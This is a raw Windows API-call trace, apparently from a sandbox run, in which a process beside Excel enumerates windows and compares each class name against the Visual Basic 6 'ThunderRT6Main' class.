	[0059.140] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0059.140] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0059.140] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.140] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.140] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.140] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0059.140] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0059.140] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0059.140] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0059.140] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.140] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.141] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.141] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0059.141] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0059.141] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0059.141] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0059.141] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0059.141] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0059.141] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.141] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0059.141] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0059.141] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0059.141] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x302b2
	[0059.141] GetClassNameA (in: hWnd=0x302b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18
	[0059.141] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1
	[0059.141] GetWindowThreadProcessId (in: hWnd=0x302b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20
	[0059.141] GetWindow (hWnd=0x302b2, uCmd=0x2) returned 0x2028a
	[0059.141] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.141] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.141] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb34
	[0059.141] GetWindow (hWnd=0x2028a, uCmd=0x2) returned 0x202b0
	[0059.141] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0059.141] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0059.141] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.141] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056
	[0059.141] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0059.141] IsWindowEnabled (hWnd=0x202b0) returned 0
	[0059.141] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0059.141] RemovePropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0059.141] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1
	[0059.141] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0059.141] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0059.141] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0059.141] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.141] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0059.141] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0059.141] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0059.142] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0059.142] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.142] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0059.142] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0059.142] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0059.142] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0059.142] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0059.142] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0059.142] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.142] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 516882432
	[0059.142] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0059.142] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0059.142] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0059.142] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.142] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.142] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.142] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0059.142] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0059.142] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0059.142] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0059.142] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.142] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.142] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.142] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0059.142] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0059.142] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0059.142] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0059.142] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.142] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.142] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.142] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0059.142] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0059.142] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0059.142] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0059.142] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.142] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.142] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.142] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0059.142] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0059.142] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0059.143] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0059.143] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0059.143] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0059.143] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0059.143] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0059.143] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0059.143] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0059.143] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.143] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0059.143] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0059.143] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0059.143] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0059.143] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.143] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.143] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.143] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0059.143] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0059.143] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0059.143] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0059.143] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.143] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.143] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.143] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0059.143] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0059.143] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0059.143] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0059.143] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.143] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.143] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.143] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0059.143] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0059.144] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0059.144] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0059.144] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0059.144] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0059.144] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.144] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0059.144] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0059.144] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0059.144] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0059.144] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0059.144] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0059.144] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.144] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0059.144] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0059.144] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0059.144] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0059.144] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0059.144] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0059.144] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0059.144] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0059.144] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0059.144] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0059.144] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.144] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0059.144] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0059.144] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0059.144] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0059.144] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.144] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.144] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0059.144] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0059.144] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0059.144] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0059.144] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0059.144] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0059.144] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0059.144] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0059.144] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.145] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0059.145] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0059.145] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0059.145] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0059.145] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0059.145] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0059.145] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0059.145] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0059.145] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0059.145] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.145] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0059.145] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0059.145] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0059.145] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0059.145] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0059.145] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.145] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0059.145] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0059.145] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0059.145] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0059.145] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0059.145] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.145] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0059.145] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0059.145] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0059.145] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0059.145] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0059.145] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0059.146] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.146] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0059.146] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0059.146] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0059.146] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0059.146] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0059.146] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.146] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0059.146] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0059.146] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0059.146] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0059.146] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0059.146] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.146] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0059.146] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0059.146] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0059.146] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0059.146] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0059.146] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.146] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0059.146] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0059.146] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0059.146] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0059.146] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0059.146] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0059.147] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0059.147] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0059.147] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0059.147] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0059.147] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0059.147] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0059.147] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0059.147] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0059.147] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0059.147] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0059.147] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0059.147] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0059.147] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0059.147] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0059.147] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0059.147] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.147] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0059.147] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0059.147] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0059.147] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0059.147] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0059.147] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0059.147] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.148] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0059.148] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0059.148] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0059.148] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0059.148] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0059.148] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0059.148] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0059.148] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0059.148] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0059.148] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0059.148] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
